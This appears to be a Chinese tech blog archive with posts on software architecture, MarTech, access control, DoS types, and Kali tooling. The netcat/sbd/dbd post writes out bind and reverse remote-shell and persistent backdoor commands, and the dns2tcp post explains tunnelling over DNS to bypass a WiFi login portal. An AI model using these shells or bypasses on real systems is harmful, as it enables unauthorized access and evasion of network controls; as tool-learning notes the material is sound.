2022/12/26

Software Architecture Patterns 2

O'Reilly 提供了一份Software Architecture Patterns [Book] ,裡面描述了五個基本的軟體架構。這邊是 microkernel, microservices。

Microkernel

也稱為 plug-in architecture pattern,常用於 product-based applications。product-based application 就是分別封裝且可分版本下載的 third-party product,有獨立的versions, release notes, pluggable features。本 pattern 可利用 plug-ins 增加 application features。

本架構有兩個元件:a core system & plug-in modules,applicaiton logic 會切割分配在 plug-in modules 與 core system,各自獨立,提供 extensibility, flexibility, isolation of app features, custom processing logic

core system 包含系統運作的最小功能,大部分的 operationg system 都實作了 micro-kernel architecture pattern。

plugin-in modules 是獨立的元件,包含特殊附加的功能,擴充 core system,通常 plugin 是獨立的,但也可以引用其他 plug-in。

plugin module 可用多種方式連接到 core system,包含 OSGi (open ervice gateway initiative), messaging, web serives, point-to-point binding (ex: object instantiation),由 application 規模決定用哪一種方法。pattern 並沒有限制用哪一種方法,唯一的要求是 plug-in 之間要互相獨立。

plug-in 與 core system 之間的 contract 可以是標準或自訂的,custom contact 發生在 plug-in component 是由無法控制的 3rd party 開發,在這種狀況,可以開發 adapter,做 standard contact 與 custom contract 的轉換,記得一開始開發就要有 versioning strategy

example: Eclipse IDE

example: Internet Browser

注意事項

如果有某些常常改變的地方,就不能在整個系統都用這個 pattern,可以搭配 layered/event-driven/microservices architecture 使用。

microservice architecture pattern 特別適合支援 incremental development。

對於 product-based application,microkernel architecture 是第一選擇,因為可以隨著時間慢慢提供新的功能。

Pattern 分析

  • overall agility: high

  • ease of deployment: high

  • testability: high

    plug-in modules 可以單獨獨立測試

  • performance: high

  • scalability: low

    product-based application 通常是單機運作

  • ease of development: low

    需要另外開發,並管理 contract (versioning) ,開發比較麻煩

Microservices

service-oriented architecture

在選用架構時,有幾個基本概念

  1. separately deployed unit

    每個 microservice 都會被單獨部署,可分別擴充 scalability,跟 application 分離

  2. service component

    有可能是 single module 或是 application,service components 包含 1 到多個 modules,可能是單一功能,或大型 application 的一部分,設計正倔的 service component granularity 是 microservice 的一大挑戰

  3. distributed

    所有元件都是 fully decoupled,以某種 remote access protocol 使用 (ex: JMS< AMQP, REST, SOAP, RMI ...)

microservice architecture 是由兩種架構延伸合併起來的:

  1. monolithic application developed using the layered architecture pattern

  2. distributed applications developed through service-oriented architecture (SOA) pattern

Pattern Topologies

雖然有很多實作方法,但主要有三種常見熱門的 topologies

  1. API REST-based

    very fine-grained service components

    透過 REST-based interface 存取,通常是單獨部署的 web-based API layer

    ex: cloud-based RESTful web services by Yahoo, Google, Amazon

  2. application REST-based

    client 發送 request 給傳統 web-based or fat-client business application,而不是 simple API layer

    user-interface layer 是獨立部署的 web application,會遠端存取 simple REST-based interface

    這種 service component 會比 API REST-based 大, more coarse-grained

    本架構通常是 small to medium sized business application 使用,減少架構複雜度

  3. centralized messaging

    類似上一個 application REST-based topology,中間用 lightweight centralized message broker (ActiveMQ, HornetQ) 取代 REST for remote access。不要將這個 pattern 跟 SOA 混淆。lightweight message broker 並不執行任何服務協調工作,單純只做 transformation, complex routing,換句話說,就是一個 lightweight transport to access remote service components

    centralized messaging topology 在大型 application 或是有兩個 application互相溝通時有被使用。這個架構的優點是 advanced queuing mechanisms, asynchronous messaging, monitoring, error handling, better overall load balancing, scalability。

    但 centralized messaging broker 可能有單點失效問題

避免相依性

本架構的挑戰:決定 correct level of granularity for service components

如果太 coarse-grained,可能會無法得到這些優點: deployment, scalability, testability, loose coupling

如果太 fine-grained,可能會變成 heavyweight service-oriented architecture,complexity, confusion, expense 的 SOA-based applications

如果 service component 之間需要協調溝通(順序),或是 service 之間需要 inner-service communcation,就可能是元件太 fine-grained

inner-service communcation 可以用 shared databased 取代,但要重複實作 shared function (違反 DRY don't repeat yourself),這是 tradeoff,可易用 unitity class 處理這個部分

注意事項

主程式被切割為更小,更容易部署的單位,以 microservice 開發的應用,more robust, better scalabilty,更容易做持續開發

可作 rela-time production deployments,而不是一個月或一週一次大型部署

可以實作偵測 hot-deployment,並指向 error/waiting page,可 real-time 切換多個 service component instances

跟 event-driven architecture 有一樣的問題: contract creation, manitenance, goverment, remote system availability, remote access authentication and authorization

Pattern 分析

  • overall agility: high

  • ease of deployment: high

  • testability: high

  • performance: low

  • scalability: high

  • ease of development: high

References

软件架构入门 - 阮一峰的网络日志

2022/12/12

Software Architecture Patterns 1

O'Reilly 提供了一份Software Architecture Patterns [Book] ,裡面描述了五個基本的軟體架構。這邊是 layered 與 event-driven architecture。

Layered

layered architecture 是最常見的架構,也稱為 n-tier architecture pattern。最初是因為 Java EE application 而變成顯學。

本架構分為四個基本的 layers:presentation, business, persistence, database,有時候可以簡化,將 business 與 persistence 合併為一個 business layer,也就是把 SQL, HSQL 放在 business layer component 裡面,適合小型專案。

layered architecture 最重要的功能,就是 separation of concerns among components。

本架構重要概念是: closed,也就是 request 必須一層一層轉換移動,不能跳躍。雖然有時候會遇到一些非常簡單的功能,可以直接將 presenation layer 的資料儲存到 database,但遵循本架構的原則:layers of isolation,不能破壞 layers 之間的階層關係。一但破壞這個開發原則,會讓 application 不容易修改,難以維護。

如果要解決 layers 的 overhead 與耗時,可以將 layer 由 closed 變成 open。例如加上一個 open 的 shared-service layer,這個 service layer 可區分 access restriction 的 service 及 common service。

Pattern 分析

  • agility: low

    layers 提供了修改的彈性,但會多了一些 code 開發與執行時間的 overhead

  • ease of deployment: low

    通常會更新整個 application,無法針對 compoent 單獨更新

  • performance: low

  • scalability: low

    這個架構適用於一個獨立的 application

  • ease of development: high

    分層後,讓 code 容易維護

Event-Driven

這是常見的 distributed asynchronous architecture pattern,用來開發 scalable applications。

本架構包含兩個基本的 topologies: mediator 及 broker。mediator 用在一個 event 透過一個 central mediator 處理多個 steps。broker 用在 chain events together。因兩種架構的差異,在一開始要確定哪一種適用。

Mediator

當 event 有多個 steps,且有多個處理 event 的組合,可使用 mediator。

mediator 有四種 components: event queues, an event mediator, event channels, event processors

當 mediator 收到 event,會發送給不同的 event channel 處理某個 step,event processor 會監聽 channel,取得 event 並執行 business logic

在 event-driven architecture 可能會有上百的 event queues,並沒有限定如何如做 event queue,可能是 message queue/web serivce endpoint

event 有兩種 types: initial event 及 processing event

mediator 負責協調處理 initial event 的 steps,本身不執行 business logic,會發送 processing event 到 event channel 給 processor 處理

event channel 可以是 message queue 或是 message topics,在 mediator topology 比較常使用 message topics,因為可以派送給多個 event processors

event processor 包含了處理該 event 的 business logic,每個 processor 都是 self-contained, indepenedent, highly decoupled

event mediator 有多種實作方式,要選擇適用的方案

  1. 使用 open source integration hubs,ex: Spring Integration, Apache Camel, or Mule ESB,通常是用 Java code 或 DSL(domain-specific language) 實作

  2. 比較複雜的方法,使用 BPEL (business process execution language) ,open source BPEL engine 有 Apache ODE。BPEL 是 standard XML-like language

  3. 最大型的 application,有複雜到中間有需要人工處理的步驟時,可以用 BPM (business process manager) ex: jBPM 實作

example

提出搬家資訊更新需求給保險公司,initial event: relocation event,要完成此 event 其中包含上圖多個步驟,mediator 會產生多個 processing event,並發送給 event channel,由 processor 處理,processing event 上面的箭頭線段代表那些 event 可以同時被處理

Broker

broker topology 沒有 central event mediator,message 以 chain-like 方式流過 lightweight message broker (ex: ActiveMQ, HornetQ),當有簡單的 event processing flow 時可使用。

有兩個 components: broker, event processor

broker 可以是 centralized 或 federated,包含所有 event channels。event channels 可以是 message queue, message topics, 或兩者的組合。

event processor 負責處理 event 後,並產生下一個動作的新 event。

ex: an event processor 處理 portfolio of stocks 收到 initial event: stock split,收到該 event 會執行 portfolio rebalancing,然後發布一個新的 "rebalance portfolio" event 給 broker,接下來由另一個 processor 處理。

系統有可能會因為某些特殊狀況 ex: 升級,發生某些 event 沒有被 processor 處理的狀況

example: 提出搬家資訊更新需求給保險公司

"customer process" 接收 initial event,修改客戶的地址,並發送 "change address event"。"quote process" 與 "claims process" 對這個 event 有註冊要使用該 event。

"quote processor" 會根據地址重新計算新的 auto-insurance rate,並發布 "recalc quote event" 給系統。 "claims process" 接收到 "change address event" 會更新 outstanding insurance claim,並發布 "update claim event" 給系統。

event processor 會處理新的 event,直到沒有新的 events

broker topology 是用 chaining of events 執行 business function,就像是接力賽跑一樣。

注意事項

因為 asynchronous distributed 特性,event-driven architecture 比較複雜,要注意 remote process availability, lack of responsiveness, broker reconnectoin logic

另一個要注意的是缺少單一 business process 的 "atomic transaction",因為 event processor 互相分散獨立,很難跨越 processors 提供 transaction。

使用時必須持續注意 events 可能無法獨立運作,如果有某些功能需要 undivided transaction,可能就不能使用這個 pattern

最難實作的是 creation, maintenance, governance of event processor component contracts,也就是要統一 event 的格式,建議可以用 XML, JSON, Java Object 等等,並要建立 contract versioning policy

Pattern 分析

  • agility: high

    因每個 processor 功能單一,且各自獨立,可快速修改更新

  • ease of deployment: high

    decoupled nature of the event processor components

  • testability: low

    unit testing 簡單,但整合測試很複雜

  • performance: high

    因為都是非同步呼叫

  • scalability: high

    每個 event processor 可分別 scaled

  • ease of development: low

    因為非同步呼叫,開發困難,不容易做錯誤處理 (unresponsive event processor, failed broker)

References

软件架构入门 - 阮一峰的网络日志

2022/12/05

MarTech

MarTech = Marketing + Technology 行銷科技,泛指所有能協助行銷的科技工具與方法。在疫情時代,電商取代了一般店家,是大多數人消費的方式,因為網路及電子化,讓店家要用不同的方法尋找及維繫客戶,也更容易運用資訊科技工具協助行銷。

AMT亞太行銷數位轉型聯盟協會在2022/3發表 MarTech Landscape,由 2021的183項科技工具/服務,成長為277個。協會將工具分為六類:

  1. 內容與體驗(Content and Experience)

    部落格文章、SEO、社群貼文、圖片、影片、UI及UX設計等

  2. 社群與關係(Social and Relationship)

    客戶關係管理及粉絲互動,協助企業掌握粉絲組成、貼文成效,規劃合適的社群形象及素材

  3. 流程與管理(Process and Management)

    財務與預算管理、產品與專案管理、敏捷 (Agile) 與精實(Lean)創業管理與廠商分析等各方面的管理

  4. 商業與銷售(Commerce & Sales)

    自動化銷售系統、線上支付服務、聯盟行銷、電商行銷

  5. 廣告技術(Advertising and Promotion)

    包含關鍵字廣告、GDN、社群廣告等各種廣告形式,以科技技術精準規劃廣告投放策略,包含投放時間、TA輪廓及廣告素材等,提升廣告投放的成效。

  6. 數據(Data)

導入行銷工具的方法

根據打贏電商勝仗:MarTech 工具怎麼選?,企業可透過三個階段的解構,導入適合的工具

  • 解構

    拆解 customer journey,從一開始的客戶聯繫到售後服務,為每個階段定義目標及評估指標。ex: 客戶的訪問次數、滿意度調查,社群曝光度、退貨率

  • 拆解

    拆解想要的結果,提出對應的策略及方法。ex: 要提高滿意度,要透過網站優化、email 追蹤提升客戶體驗。

  • 設計

    訂立主要策略後,就用以下問題尋找適當的工具

    1. 行銷的目的

    2. 是否能整合現有工具

    3. 行銷管道

    4. 使用工具的對象

案例

Martech雙周報第16期:Line臺灣三大Martech應用一次看,靠AI找潛在客群與高價值用戶,更能預測用戶受廣告的影響程度 | iThome

吸引客戶使用特定 Line 服務

  1. 蒐集使用任務牆及官方帳號的使用者網路,找出同時使用任務牆及官方帳號,與只使用官方帳號未使用任務牆的使用者

  2. 以圖嵌入模型描繪用戶輪廓,將用戶分類。ex: 使用任務牆的官方帳號用戶,累積點數的方法不同,有的透過購物,有的是加好友,有的是閱讀廣告

  3. 排序對任務牆有興趣的官方帳號使用者,投放廣告

推廣特定創作者的貼圖

  1. 將用戶分類

    • line 貼圖的忠實用戶,一定會買貼圖

    • 默默購買的用戶,廣告反而會影響購買慾望

    • 一定不會購買貼圖的用戶

    • 給一點獎勵或回饋,就可能會買貼圖的用戶

  2. 用 A/B Testing 找出類似的用戶,隨機抽取樣本,測試廣告的影響力

  3. 針對顧客特徵,搜集過去一個月的歷史資訊,透過顧客對貼圖的瀏覽、購買與使用行為,來描述顧客對於貼圖產品的涉入程度

  4. 運用增益模型中的S-Learner進行建模,先將兩組樣本混合在一起,並且建立一個控制變數稱為treatment,以treatment=0或1,來標示該樣本是屬於實驗組還是控制組,再訓練一個單一的分類器,根據用戶的歷史貼圖使用與瀏覽行為,來預測其購買貼圖的機率是多少。透過調整treatment,就能取得一個用戶收到、未收到廣告分別的購買機率,最後將兩個數值相減,則可以得到增益(uplift),得知廣告如何影響一個人的購買意願與程度。

找出高貢獻度用戶

  1. 透過用戶的歷史購買行為 RFM,包括最近一次的消費時間點(Recency)、消費頻率(Frequency)與消費金額(Monetary),也就是運用RFM模型,來了解顧客的歷史價值

  2. 預測顧客的未來價值,也就是顧客終身價值模型CLV(Customer Lifetime Value)

    • 透過人口統計、瀏覽記錄、購買歷程、官方帳號互動的行為,從中萃取出上百種特徵來進行建模

    • 運用過去450天的資料,來預測一個用戶未來180天內,可能帶來多少價值

References

Martech是什麼?認識6大領域及發展趨勢,規劃精準行銷策略

行銷科技Martech是什麼?企業應如何挑選工具,實現以數據驅動的行銷? | 天新小學堂|CRM知識庫

AMT亞太行銷數位轉型聯盟協會

Martech 是什麼?行銷科技崛起!Martech完整解釋與趨勢大公開!

2022年臺灣Martech最新版圖出爐,工具大增5成以數據分析工具暴增最多 | iThome

AMT《2022年台灣行銷科技版圖》出爐 新版數位行銷工具爆發 | 熱門亮點 | 商情 | 經濟日報

2022/11/21

Access Control Model

四種經典權限模型

自主權限控制 (DAC,Discretionary Access Control)

強制權限控制 (MAC,Mandatory Access Control)

角色權限控制 (RBAC,Role-based Access Control)

屬性權限控制 (ABAC,Attribute-based Access Control)

DAC

根據主體(如用戶、進程或 I/O 設備等)的身份和他所屬的群組,限制對客體的訪問。所謂的自主,是因為擁有訪問權限的主體,可以直接(或間接)地將訪問權限賦予其他主體(除非受到強制存取控制的限制)。

最常見的例子是 unix 檔案系統的權限,使用者可修改檔案的權限,賦予給其他使用者。

跟 DAC 相反的是 MAC。

MAC

MAC 可限制主體或發起者存取或對物件或目標執行某種操作的能力,常用在作業系統。

主體通常是一個行程或執行緒,物件可能是檔案、目錄、TCP/UDP埠、共享記憶體段、I/O裝置等。主體和物件各自具有一組安全屬性。每當主體嘗試存取物件時,都會由作業系統核心強制限制授權規則,逐一檢查安全屬性並決定是否可進行存取。

任何主體對任何物件的任何操作都將根據一組授權規則(也稱策略)進行測試,決定操作是否允許。在資料庫管理系統中也存在存取控制機制,也可以套用強制存取控制,物件為 table/view/procedure。

RBAC

一個用戶擁有若干角色,一個角色擁有若干權限。形成「用戶 - 角色 - 權限(系統資源)」 的授權模型。在這種模型中,用戶與角色之間,角色與權限(系統資源)之間,是多對多的關係。

RBAC 模型是目前最常用的權限模型,一般來說實作時就是在處理用户、角色、權限之間的關係。RBAC模型,其實可以看成是靜態的、單組屬性的ABAC模型。

ABAC

也稱為policy-based access control (PBAC) or claims-based access control (CBAC)

這是一種標籤的機制,在被存取的資源上,貼上標籤。再將標籤配置給 User 或是 Role,這樣可決定 User/Role 是否能存取該資源。

ABAC是個可以以最細顆粒度來管理權限的模型。它可以讓設計者,利用任何一個用户屬性、環境屬性,或者多個屬性之間的交集、並集等來組合出動態的權限判斷邏輯。

References

熟悉這四種權限管理模型,產品迭代才能心裏有數_人人都是產品經理 - MdEditor

用戶權限管理:最常用的架構模型介紹

強制存取控制 - 維基百科,自由的百科全書

自由選定存取控制 - 維基百科,自由的百科全書

以角色為基礎的存取控制 - 維基百科,自由的百科全書

Attribute-based access control - Wikipedia

透過 AWS Tags 實作 Attribute-Based Access Control (ABAC)

2022/11/07

DoS 類型

DoS: Denial-of-Service 阻斷服務攻擊,就是運用各種方法,讓主機無法正常提供服務。為了增加追蹤攻擊來源,以及解決攻擊的難度,目前的 DoS 都已經升級為 DDoS: Distributed DoS 分散式阻斷服務攻擊,就是同時使用多個被感染的電腦或設備,向目標系統進行 DoS 攻擊。

以攻擊方法分類

前三種會造成比較長時間的影響,其他的攻擊,一般來說可以很快恢復正常。

容量耗盡

傳送大量請求資料,讓 server 不斷地配置記憶體,當記憶體用完,就無法再處理新的連線。以沒有用的資料塞滿硬碟、 Buffer 也是類似的方法。

系統故障

某些系統在接收特定字串時,會造成緩衝區溢位而當機,需要重新開機才能恢復服務。這種攻擊比較少見。

帳號耗盡

線上直接猜帳號密碼,但現在很多系統會鎖定密碼猜錯的次數。因應這種機制,攻擊方刻意讓帳號被鎖定,導致合法的使用者無法登入系統。

頻寬耗盡

以大量沒有用的封包佔滿頻寬,讓需要正常服務的使用者,無法正常發送資料給 server,server 也無法將結果回傳給使用者

CPU耗盡

傳送需要大量運算的請求,讓 CPU Loading 增加,而無法處理正常的請求。

連線資源耗盡

某些服務有連線數量限制,同一時間內,只能提供有限數量的服務,只要有人佔住連線,沒有釋放給其他人使用,其他人就無法使用到服務。就像是訂票系統塞爆的狀況。

挾持網路

變更網路設定,造成封包傳遞異常。例如:ARP spoofing 欺騙、IP address spoofing IP位址欺騙、假冒 WiFi AP

以 OSI 分類

Layer 3

Smurf 攻擊、ICMP Flood、IP/ICMP Fragmentation Attack 碎片攻擊(Teardrop Attack)

Layer 4

TCP SYN Flood、UDP Flood、TCP 連線耗盡

Layer 7

HTTP 加密攻擊

References

DoS攻擊種類 - IT閱讀

Ddos攻擊方式分類

什麼是 DDoS 攻擊? | NordVPN

2022/10/31

nc, sbd, dbd

nc: NetCat

支援 TCP 與 UDP,可當作 server 或 client,也被稱為 TCP/IP swiss army knife。如果在某電腦執行 nc,就可以遠端遙控該電腦、讀取或下載檔案。

在 kali linux,這三個指令都是 nc

nc
nc.traditional
netcat

參數

  • -p port: 本地端 port number

  • -l: listen mode

  • -n: 使用 IP,不用 hostname

  • -t: telnet

  • -u: UDP mode

  • -v: verbose output,可重複兩次 -vv 有更詳細的 output

  • -w sec: 連線 timeout 秒數

  • -q sec: 收到 EOF 後,斷線秒數

  • -z: scan mode

port scan

# 測試 192.168.1.1 的 1~1024 port
nc -znvw2 192.168.1.1 1-1024

# 測試 UDP port
nc -uznvw2 192.168.1.1 1-1024

telnet

# 等同 telnet 192.168.1.1 80
nc -nvv 192.168.1.1 80

# 連線到 TCP 80 並發送 get-req.txt 文字內容# get-req.txt
tee get-req.txt << EOF
GET http://www.google.com/
Host: www.google.com
EOF
nc -vv www.google.com 80 < get-req.txt

# listen TCP port 80,收到連線就發送檔案內容
nc -l -p 80 < get-req.txt

# 簡易 IM,另一端可用 nc 或 telnet,連線後,可互相傳遞文字
nc -ltp 80
nc -vv localhost 80

remote sh

被控端先啟動待命,操控端連線過去

# listen TCP 8080,轉送到 bash
nc -lp 8080 -e /bin/bash
nc -vv localhost 8080

反向,操控端先啟動待命,等待被控端連線進去後,讓操控端操作

nc -lp 80

nc 192.168.1.1 80 -e cmd.exe

自動批次處理

將要執行的指令存到 cmd.txt,一次發送過去

nc -lp 80 < cmd.txt

file transfer

上傳檔案

# 先在接收方啟動 server端
nc -l -p 8080 > filename

# 再在傳送方啟動 client 端傳送資料
nc 192.168.1.157 8080 < filename

可相反下載檔案

# 先在傳送方啟動 server 端
nc -l -p 8080 < filename

# 再在接收方啟動 client 端
nc 192.168.1.1 8080 > filename

記錄

# 無窮迴圈,記錄連線 log,直到 Ctrl+C
while true; do nc -l -p 80 >> log.txt; done

sbd

是 Netcat-clone,增強加密的部分,支援 AES-CBC-128 + HMAC-SHA1,只支援 TCP

remote sh

# 被控端
sbd -l -p 8080 -e bash -v -n

# 遙控端,可執行 bash shell command,並取得 output 結果
sbd localhost 8080

加上 -k secret 密碼參數,作為加密的密碼

# 被控端
sbd -l -p 8080 -e bash -v -n -k test

# 遙控端,可執行 bash shell command,並取得 output 結果
sbd localhost 8080 -k test

dbd

Netcat-clone,增強加密的部分,支援 AES-CBC-128 + HMAC-SHA1,只支援 TCP。跟 sbd 類似

參數

  • -r n: 無限 respawn/reconnect,每次連線會暫停 n seconds。-r0 用在 re-listen after disconnect

  • -c on|off: 是否要使用內建的 AES-CBC-128 + HMAC-SHA1 加密

  • -k secret: 密碼

  • -H on|off: highlight incoming data

  • -D on|off: fork and run in background (daemonize)

dbd -l -p 8080 -v -H on

dbd -r 10 -v -H on -e bash localhost 8080

References

kali/03使用 sbd 及 dbd 创建系统安全后门.md at master · Yehnn/kali · GitHub

kali***測試(二)sbd,dbd和PowerSploit的介紹 - 台部落

kali sbd

kali dbd

kali netcat

2022/10/24

dns2tcp

dns2tcp 可透過 DNS 查詢建立資料傳輸的 tunnel。

例如在提供免費 WiFi 的場所,通常在連上 WiFi AP 後,會把打開一個網址,該網頁要求填寫帳號與密碼,然後才能透過 WiFi 上網,如果沒有帳號,再打開網址的過程中會發現,DNS 封包是被允許的,可查詢某個網域的 IP,這時候,就可利用 dns2tcp 實現上網的功能。

安裝

wget https://github.com/alex-sector/dns2tcp/archive/refs/tags/v0.5.2.tar.gz -O dns2tcp.tgz
tar zxvf dns2tcp.tgz
cd dns2tcp-0.5.2

./configure
make
make install

DNS

修改自己的 domain name server 設定,增加兩個 record

tcp    IN    NS    ns.kokome.com.tw
ns    IN    A    211.72.214.206

kokome.com.tw 的 DNS server 會產生一個新的 ns.kokome.com.tw 這個 name server 的 A record,將 ns.kokome.com.tw 轉址到 211.72.214.206。然後當有 tcp.kokome.com.tw 的 domain name 查詢時,會因為 NS 設定,把 dns 查詢轉問 ns.kokome.com.tw。

把 dns2tcp 的 server 服務安裝在 ns.kokome.com.tw

實測時發現不需要設定這個 DNS NS forward也沒關係,因為在使用 dns2tcpc 時,可直接指定 DNS server 的 IP。

設定

產生設定檔 /etc/dns2tcpd.conf,內容為

listen = 0.0.0.0
port = 53  
user = nobody  
chroot = /tmp  
domain = tcp.kokome.com.tw  
resources = ssh:127.0.0.1:22,socks:127.0.0.1:1080,http:127.0.0.1:80 

以上面的設定來說,ssh 會轉換成連到本機的 sshd TCP Port 22,http 轉換連到本機的 TCP Port 80,socks server 轉至 TCP 1080。

當然本機需要另外安裝 httpd 與 socks server,才有辦法使用。

使用

在 tcp.kokome.com.tw 機器,用以下指令啟動 dns2tcpd,server 的部分,提供 DNS service,並將資料轉換成某個 TCP traffic

dns2tcpd -f /etc/dns2tcpd.conf -F -d 2

ssh

在另一台內網的機器,啟動 dns2tcp client,這個指令會在機器上開啟 TCP Port 8888,提供 ssh service,最後面的 server IP,就是遠端提供 tcp.kokome.com.tw DNS query 的機器的 IP

dns2tcpc -l 8888 -d 2 -r ssh -z tcp.kokome.com.tw 211.72.214.206

然後就能用 TCP 8888 連接到遠端 tcp.kokome.com.tw 的 sshd service

ssh root@127.0.0.1 -p 8888

http

在另一台內網的機器,啟動 dns2tcp client,這個指令會在機器上開啟 TCP Port 8888,提供 http service,最後面的 server IP,就是遠端提供 tcp.kokome.com.tw DNS query 的機器的 IP

dns2tcpc -c -d 1 -l 2222 -r http -z tcp.kokome.com.tw 211.72.214.206

然後就能用 browser,瀏覽網址 http://127.0.0.1:2222

References

DNS隧道之DNS2TCP實現-趣讀

dns隧道 dns2tcpd - 碼上快樂

DNS tunnel(DNS隧道)技術-DNS2tcp的使用方法及原理 | 程式前沿

打造 Kali Linux 2021 中文桌面環境(字型、中文輸入法) - Hack543

2022/10/17

Install openvas in Kali Linux

sshd

Kali Linux 安裝完成後,需要以安裝過程產生的帳號登入。如果用 sudo 指令,會一直詢問密碼,可用以下方式設定 sudo 不詢問密碼

sudo dpkg-reconfigure kali-grant-root

在畫面中選擇 Enable password-less privilege escalation

設定開機自動登入 LightDM

ref: 如何讓Linux作業系統自動登入桌面環境,而不需輸入帳號密碼? | MagicLen

sudo vi /etc/lightdm/lightdm.conf

[Seat:*]            
autologin-guest=false
autologin-user=maxkit
autologin-user-timeout=0

另外也還無法遠端連線到這台機器,要安裝 ssh server

sudo apt-get install openssh-server

sudo update-rc.d -f ssh remove
sudo update-rc.d -f ssh defaults

sudo service ssh restart

修改 /etc/ssh/sshd_config

PermitRootLogin yes

中文輸入法套件

sudo apt install fcitx5 fcitx5-chewing im-config

openvas

#sudo apt update && apt upgrade -y
sudo apt install locate curl wget
# install openvas
sudo apt install gvm*
# check postgresql、redis-server 及 gvmd 是否有啟動
sudo service --status-all 
# start and enable redis-server
sudo systemctl enable redis-server
sudo systemctl start redis-server
# start and enable postgresql
sudo systemctl enable postgresql
sudo systemctl start postgresql
# 安裝 openvas,這個步驟會跑很久
sudo gvm-setup
# check installation
sudo gvm-check-setup
## 檢查發現 redis 有問題,被要求要執行這一行指令
#sudo systemctl start redis-server@openvas.service
#sudo systemctl enable redis-server@openvas.service

# gvmd
sudo systemctl enable gvmd
sudo systemctl start gvmd

修改設定 --listen=0.0.0.0

sudo vi /lib/systemd/system/greenbone-security-assistant.service

#ExecStart=/usr/sbin/gsad --listen=127.0.0.1 --port=9392
ExecStart=/usr/sbin/gsad --listen=0.0.0.0 --port=9392 

修改 redis 設定

sudo vi /etc/redis/redis.conf
# 把這兩行 uncomment
unixsocket /var/run/redis/redis.sock
unixsocketperm 700

啟動

# 啟動 OpenVAS伺服器
sudo gvm-start
# 停止
sudo gvm-stop

建立帳號

sudo runuser -u _gvm -- gvmd --user=admin --new-password=newpassword
#sudo runuser -u _gvm -- gvmd --create-user=<新帳號> --password=<設定密碼>

網頁

https://192.168.1.19:9392/

References

雅技資訊日誌: 在Kali 2020.3 精簡環境安裝OpenVAS

Installing OpenVAS on Kali Linux - GeeksforGeeks

[Kali] 開啟 Kali Linux 上的 SSH server 服務 | EPH 的程式日記

打造 Kali Linux 2021 中文桌面環境(字型、中文輸入法) - Hack543

雅技資訊日誌: Kali Linux 滲透測試工具(第三版)-第2章「安裝Kali Linux」補充說明

雅技資訊日誌: Kali Linux 滲透測試工具(第3版) 指令清單及勘誤表

2022/10/03

CentOS 7 帳號的密碼規則

密碼定期更新

/etc/login.defs 可設定定期更新的策略,以下是 CentOS 7 裡面該設定檔的預設值

PASS_MAX_DAYS    99999   # 密碼到期時間
PASS_MIN_DAYS    0       # 初始密碼更改時間
PASS_MIN_LEN    5       # 密碼最小長度
PASS_WARN_AGE    7       # 密碼過期提示時間

修改設定檔後,只會影響到新的帳號,如果要修改現有帳號的規則,要使用 chage 指令

-m:最少必須相隔幾天才能改變密碼,0 代表任何時候都可以更改密碼。
-M:最多必須相隔幾天才能改變密碼
-w:用戶密碼到期前,提前收到警告信息的天數。
-E:帳號到期的日期。過了這天,此帳號將不可用。
-d:上一次更改的日期。
-I:停滯時期。如果一個密碼已過期這些天,那麼此帳號將無法使用。
-l:列印當前的設置。由非特權用戶來確定他們的密碼或帳號何時過期。

example

# 查看 root 的設定
chage -l root

# 設定90 天後過期
chage -M 90 root

# 設定今天後 180 天的那一天,密碼過期
chage -E $(date -d +180days +%Y-%m-%d)

密碼複雜度

透過 PAM pwquality 模組提供這個功能,該模組替換了 CentOS6 的 pam_cracklib

相關的參數有

  • retry=N:定義登入/修改密碼失敗時,可以重試的次數;
  • difok=N:定義新密碼中必須有幾個字元要與舊密碼不同
  • minlen=N:定義使用者密碼的最小長度;
  • dcredit=N:定義使用者密碼中最多包含多少個數字;如果是負數(ex:-1) 代表至少要有一個數字
  • ucredit=N:定義使用者密碼中最多包含多少個大寫字母;如果是負數(ex:-1) 代表至少要有一個大寫字母
  • lcredit=N:定義使用者密碼中最多包含多少個小寫字母;如果是負數(ex:-1) 代表至少要有一個小寫字母
  • ocredit=N:定義使用者密碼中最多包含多少個特殊字元(除數字、字母之外);如果是負數(ex:-1) 代表至少要有一個特殊字元
  • enforce_for_root 確保即使是root使用者設定密碼,也應強制執行複雜性策略
  • minclass:最少要有幾類字元
  • maxrepeat:允許連續相同的字元的最大數目
  • maxclassrepeat:允許連續同一類的字元的最大數目

相關設定檔有兩個

/etc/pam.d/system-auth
/etc/security/pwquality.conf

可直接修改/etc/pam.d/system-auth,寫在這一行的後面,也就是當作該 module 的參數

password    requisite     pam_pwquality.so try_first_pass local_users_only retry=3 authtok_type=
# 最少 8 位, ucredit=0 不需要大寫字母, ocredit=0 不需要符號
password    requisite     pam_pwquality.so try_first_pass local_users_only retry=3 authtok_type= minlen=8 lcredit=-1 ucredit=0 dcredit=-1 ocredit=0 enforce_for_root

比較推薦的方法,是修改設定檔 /etc/security/pwquality.conf

minlen = 8
dcredit=-1
ucredit=0
lcredit=-1
ocredit=0
enforce_for_root

可查看 manual,有設定的說明

man pam_pwquality

另外也可下指令修改 /etc/security/pwquality.conf

# 最小長度
authconfig --passminlen=8 --update
grep "^minlen" /etc/security/pwquality.conf

# 設置允許連續同一類的字元的最大數目
authconfig --passmaxclassrepeat=6 --update
grep "^maxclassrepeat" /etc/security/pwquality.conf

# 至少需要一個小寫字元
authconfig --enablereqlower --update
grep "^lcredit" /etc/security/pwquality.conf

# 至少需要一個大寫字元
authconfig --enablerequpper --update
grep "^ucredit" /etc/security/pwquality.conf

# 至少需要一個數字
authconfig --enablereqdigit --update
grep "^dcredit" /etc/security/pwquality.conf

# 至少一個特殊符號
authconfig --enablereqother --update
grep "^ocredit" /etc/security/pwquality.conf

References

CentOS7/Red-Hat密码更换周期和复杂度设置 | syxdevcode博客

CentOS 設置密碼策略 - 碼上快樂

CentOS作業系統密碼複雜度策略設定_其它_程式人生

在CentOS 7上实施密码复杂性策略_allway2的博客-CSDN博客_authtok_type

LINUX設定密碼複雜度的檔案system auth,具體需要怎麼改

Linux從零開始(11/30): 在CentOS設定密碼複雜度規則 - iT 邦幫忙::一起幫忙解決難題,拯救 IT 人的一天

Linux 上密碼相關設定 | Chia-An Lee

2022/09/19

VEGA-lite

vega 是一種描述圖表的語法,符合 JSON spec。d3.js 是比較低階的語法,需要用 javascript 處理。vega 只需要 JSON 文件,就撰寫出各式圖表。如果只需要一些常用的圖表,還可以使用 vega-lite,會比 vega 更簡捷。

vega 跟 d3.js 一樣,也是 Washington Interactive Data Lab 開發的,所以 vega 的底層是 d3.js。vega 並不是要取代 d3.js,而是在 d3.js 的基礎上,提供更高階的圖表語言。而且 JSON 更容易用程式碼產生出來。

